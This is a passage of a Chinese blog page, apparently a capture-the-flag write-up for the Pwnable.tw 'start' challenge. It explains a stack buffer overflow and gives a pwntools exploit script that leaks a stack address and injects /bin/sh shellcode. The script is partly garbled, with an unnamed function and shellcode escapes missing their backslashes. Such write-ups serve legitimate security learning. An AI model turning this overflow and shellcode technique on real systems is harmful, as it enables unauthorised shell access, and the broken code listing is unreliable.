zoukankan      html  css  js  c++  java
  • Pwnable.tw start

    Let's start the CTF:stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚:

    调试了就很容易看出来在堆栈上是同一块地址。发生栈溢出是因为:readwrite的缓存区地址相同,sys_write函数地址只有20,但是sys_read函数地址有60,当你输出大于20的时候就会覆盖掉ret。

    payload一般形式:padding + addr of shellcode + padding + shellcode,所以我们要找一个addr of shellcode

    可以看到在调用sys_write的时候,有一个mov ecx,esp的指令,此时的赋予ecx的值就是Let's start the CTF:的首地址,当我们leak出这个栈上的地址的时候,我们就可以构造:

    payload=padding(0x20) + p32(addr of esp + 20) + shellcodeshellcode的长度不能大于36。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    大专栏  Pwnable.tw starts="line">15
    16
    17
    18
    19
    20
    from pwn import *
    context.log_level='debug'
    pro=remote("chall.pwnable.tw",10000)
    shellcode="x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80"
    def ():
    pro.recvuntil("CTF:")
    payload="a"*20+p32(0x08048087)
    pro.send(payload)
    addr=u32(pro.recv(4))
    return addr
    def getshell(addr):
    payload="A"*20+p32(addr+24)+"x90"*4+shellcode
    pro.send(payload)
    addr=leak()
    getshell(addr)
    pro.interactive()
  • 相关阅读:
    MySql
    Docker
    达观数据
    Python面试题
    用Python构造ARP请求、扫描、欺骗
    git上传简单的命令行分析
    vue2自定义指令的作用
    自定义指令详解 vue
    文档打印 js
    通过Export2Zip实现表格内容下载成为excel文件
  • 原文地址:https://www.cnblogs.com/lijianming180/p/12288871.html
Copyright © 2011-2022 走看看